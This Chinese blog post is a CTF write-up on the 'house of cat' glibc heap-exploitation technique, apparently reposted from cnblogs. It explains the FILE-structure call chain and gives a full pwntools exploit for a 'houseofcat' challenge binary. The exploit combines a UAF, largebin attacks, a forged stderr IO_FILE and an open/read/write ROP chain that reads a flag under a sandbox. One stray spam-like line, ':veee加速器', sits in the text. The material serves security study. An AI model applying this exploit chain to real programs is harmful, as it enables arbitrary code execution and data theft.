首页 > 其他分享 >常回家看看之house_of_catWO

常回家看看之house_of_catWO

时间:2024-09-17 14:02:40浏览次数:11  
标签:IO io house 常回家 catWO FILE fake base p64

house_of_cat

前言:

house of cat 这个利用手法和前面提到的 house of kiwi ,和 house of emma 利用的手法是一个链子,当程序无法通过main函数返回时候,或者程序不能显性调用exit函数的时候,我们可以通过 __malloc_assert 来刷新IO流,当然这个函数在2.35之后移除了刷新IO流,最后在2.37彻底移除。

house of cat 和 house of emma 一样修改 vtable表,但是不同的是,house of emma 使用的函数是 _IO_cookie_read来进行跳转,而hosue of cat使用的是_IO_wfile_seekoff来进行函数调用的,这个函数存在 _IO_wfile_jumps中,我们看看它的源码

_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  if (mode == 0)
    return do_ftell_wide (fp);
......

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
           > fp->_wide_data->_IO_write_base)
          || _IO_in_put_mode (fp));

  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
......
}

发现它会在满足条件的情况下调用 _IO_switch_to_wget_mode 函数,我们继续跟进,查看源码

_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
......
}

它会在满足条件的情况下调用 _IO_WOVERFLOW,但是需要满足情况,需要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 这个条件。因为这个 _IO_WOVERFLOW 函数是通过 _wide_data->_wide_vtable 中所存放的函数指针进行跳转的, 但是_wide_vtable 是我们可控的,从而在这里可以劫持程序的执行流。

看看完整的调用链__malloc_assert-> __fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_wfile_seekoff->_IO_switch_to_wget_mode->setcontext->orw****

调用我们伪造的vtable

满足条件进行调用_IO_switch_to_wget_mode 函数

继续步入,注意这里rax的变化

这里已经修改过rax+0x18处的地址

继续劫持rdx+0xa0 和rdx+0xa8达到劫持程流序到堆块上(如果没有开沙箱可以之间system("/bin/sh")拿shell。

例题

题目链接:链接:https://pan.baidu.com/s/1BIOPCJ_nVxN1iWy_m-yWJg?pwd=c7qv 提取码:c7qv

题目一上来是有检查的,但是我们重心放在house of cat ,这里检查直接给出

登录的时候需要输入 LOGIN | r00t QWB QWXFadmin,在每次堆块操作的时候需要输入CAT | r00t QWB QWXF$\xff 来通过检查

add函数有大小限制,通过calloc来分配

edit函数不能越界,只能使用两次,每次输入0x30字节

free函数存在UAF漏洞

:veee加速器

show 函数打印0x30字节数据,没有截断

程序还开了沙箱只能orw,而且read的第一个参数必须是0,那么就是要先要关闭文件描述符0,然后再次使用read

那么思路很明显,通过largebin 来一次泄露libc地址和堆块地址,然后两次edit,第一个修改stderr结构体(以为malloc_assert会调用stderr来输出报错信息),第二次修改top_chunk来修改size来触发 _malloc_assert,那么这里就要注意了伪造结构结构体时候一定要注意布局还有它们之间的调用关系

EXP:

from gt import *

con("amd64")

io = process("./houseofcat")
libc = ELF("/home/su/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc-2.35.so")

#gdb.attach(io)
io.sendafter("mew mew mew~~~~~~\n","LOGIN | r00t QWB QWXFadmin")


def add(index,size,msg='\x00'):
    io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    io.sendlineafter("choice:\n","1")
    io.sendlineafter("cat idx:\n",str(index))
    io.sendlineafter("cat size:\n",str(size))
    io.sendafter("your content:\n",msg)



def free(index):
    io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    io.sendlineafter("choice:\n","2")
    io.sendlineafter("cat idx:\n",str(index))




def show(index):
    io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    io.sendlineafter("choice:\n","3")
    io.sendlineafter("cat idx:\n",str(index))



def edit(index,msg):
    io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    io.sendlineafter("choice:\n","4")
    io.sendlineafter("cat idx:\n",str(index))
    io.sendafter("your content:\n",msg)



add(0,0x420) #0
add(1,0x430) #1
add(2,0x418) #2

free(0)
add(3,0x430) #4
show(0)
io.recvuntil("Context:\n")
libc_base = u64(io.recv(8))-0x21a0d0
suc("libc_base",libc_base)
io.recv(8)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x290
suc("heap_base",heap_base)

setcontext = libc_base + libc.sym["setcontext"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
pop_rax = libc_base + 0x0000000000045eb0#: pop rax; ret; 
pop_rdi = libc_base + 0x000000000002a3e5#: pop rdi; ret; 
pop_rsi = libc_base + 0x000000000002be51#: pop rsi; ret; 
pop_rdx_r12 = libc_base + 0x000000000011f497#: pop rdx; pop r12; ret; 
lv = libc_base + 0x00000000000562ec#: leave; ret; 
stderr = libc_base + libc.sym['stderr']
close = libc_base + libc.sym["close"]
syscall = libc_base + 0x0000000000091396#: syscall; ret; 
_IO_wfile_jumps = libc_base + 0x2160c0


flag_addr = heap_base + 0xb00 + 0x230
orw = flat(pop_rdi ,0 , close)
orw += flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw += flat(pop_rdi,0,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,read)
orw += flat(pop_rdi,1,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,write)
orw += b'flag\x00\x00\x00\x00' + p64(0xdeadbeef)




fake_io_addr = heap_base + 0xb00

fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61 
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr rax+0x58
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0) *6
fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
fake_IO_FILE += orw

free(2)
payload = p64(libc_base+0x21a0d0)*2 +p64(heap_base+0x290) + p64(stderr - 0x20) 
add(6,0x418,fake_IO_FILE)
edit(0,payload)
free(6)
add(4,0x430)

#gdb.attach(io)
add(5,0x440) #large
add(7,0x430)
add(8,0x430) #unsort
free(5)
add(9,0x450)
top_chunk = heap_base + 0x28d0 
payload = p64(libc_base+0x21a0e0)*2 +p64(heap_base+0x17a0) + p64(top_chunk+3 - 0x20)
edit(5,payload)
free(8)
#add(10,0x460)
#gdb.attach(io)

io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
io.sendlineafter('plz input your cat choice:\n',str(1))
io.sendlineafter('plz input your cat idx:',str(11))
gdb.attach(io,'b* (_IO_wfile_seekoff)')
#gdb.attach(io)
io.sendlineafter('plz input your cat size:',str(0x450))



io.interactive()

分析一下伪造的IO

fake_io_addr = heap_base + 0xb00

fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)  #这里为了绕过检查
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx 这里是rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr   这里是rax + 0x18的位置
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1  0x90位置为第一次的rax (rax+0xa0)
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0) *6
fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
fake_IO_FILE += orw

最后执行效果

__EOF__

CH13hh - 本文链接: https://github.com/CH13hh/p/18415836

  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角【[推荐](javascript:void(0)

    标签:IO,io,house,常回家,catWO,FILE,fake,base,p64
    From: https://www.cnblogs.com/westworldss/p/18417132

相关文章

  • 常回家看看之house_of_cat
    house_of_cat前言:houseofcat这个利用手法和前面提到的houseofkiwi,和houseofemma利用的手法是一个链子,当程序无法通过main函数返回时候,或者程序不能显性调用exit函数的时候,我们可以通过__malloc_assert来刷新IO流,当然这个函数在2.35之后移除了刷新IO流,最后在2.37彻......
  • ClickHouse的安装配置+DBeaver远程连接
    1、clickhouse的下载:先去clickhouse官网进行下载,继续往下翻找文档,将DBeaver也下载下来下载地址:https://packages.clickhouse.com/rpm/stable/下载这个四个rpm包 2、上传rmp文件到Linux中自己创建的一个clickhouse-install的文件夹,将这四个包存放进去3、开始安装1......
  • Householder 分解的 WY 表示之YT生成
    1,算法原理挖个坑备忘2,算法Latex代码,备忘,忽略;\documentclass{article}\usepackage[ruled]{algorithm2e}%style1%\usepackage[ruled,vlined]{algorithm2e}%style2%\usepackage[linesnumbered,boxed]{algorithm2e}%style3\titl......
  • DBeaver clickhouse 时区不对 时间少了8小时
    现象:确认过clickhouse时区配置是正确的(时区配置参考:https://blog.csdn.net/vkingnew/article/details/107227037)然而通过DBeaver连接后查询当前时间却慢了8小时,通过命令行连接clickhouse查看时间又是准确的命令行查询DBeaver查询原因:是DBeaver配置问题解决方法:......
  • 常回家看看之house_of_kiwi
    houseofkiwi前言:house_of_kiwi一般是通过触发__malloc_assert来刷新IO流,最后可以劫持程序流或者通过和setcontext来打配合来进行栈迁移来得到flag。我们看看触发的源码#ifIS_IN(libc)#ifndefNDEBUG#define__assert_fail(assertion,file,line,function) \ __ma......
  • 国产游戏蓄力,火山引擎ByteHouse助力游戏厂商造爆款
    更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群 近几年,国产游戏在国内市场规模有起伏,但整体呈增长态势。2023年,我国自主研发游戏国内市场实际销售收入达到2563.75亿元,同比增长15.29%。 一方面,国产自主研发游戏在整体市场上还处于......
  • KernelWarehouse:英特尔开源轻量级涨点神器,动态卷积核突破100+ | ICML 20242A
    动态卷积学习n个静态卷积核的线性混合,加权使用它们输入相关的注意力,表现出比普通卷积更优越的性能。然而,它将卷积参数的数量增加了n倍,因此并不是参数高效的。这导致不能探索n>100的设置(比典型设置n<10大一个数量级),推动动态卷积性能边界提升的同时享受参数的高效性。为此,论文提出......
  • KernelWarehouse:英特尔开源轻量级涨点神器,动态卷积核突破100+ | ICML 2024
    动态卷积学习n个静态卷积核的线性混合,加权使用它们输入相关的注意力,表现出比普通卷积更优越的性能。然而,它将卷积参数的数量增加了n倍,因此并不是参数高效的。这导致不能探索n>100的设置(比典型设置n<10大一个数量级),推动动态卷积性能边界提升的同时享受参数的高效性。为此,论文提出......
  • house of orange
    houseoforange1.针对没有free的堆题目orange部分申请比topchunk的size大的chunk,会将原本的chunk放入unsortedbin中,可以借此泄露地址FSOPio文件结构有chain连接成一个链表形式,这部分,头节点记录在_IO_list_all上,通过unsortedattack或者largebinattack劫持_io_list_all,指向......
  • house of banana
    条件:1.任意地址写一个堆地址2.触发exit函数3.能泄露堆地址和基地址原理:伪造fini_array赋值用到的结构体从而控制程序exit时的程序执行流ld.so中存在_rtld_global指针,指向rtld_global结构体,里面有_dl_ns结构体,这个结构体里面存储的是elf隔断的符号结构体,fini_arra......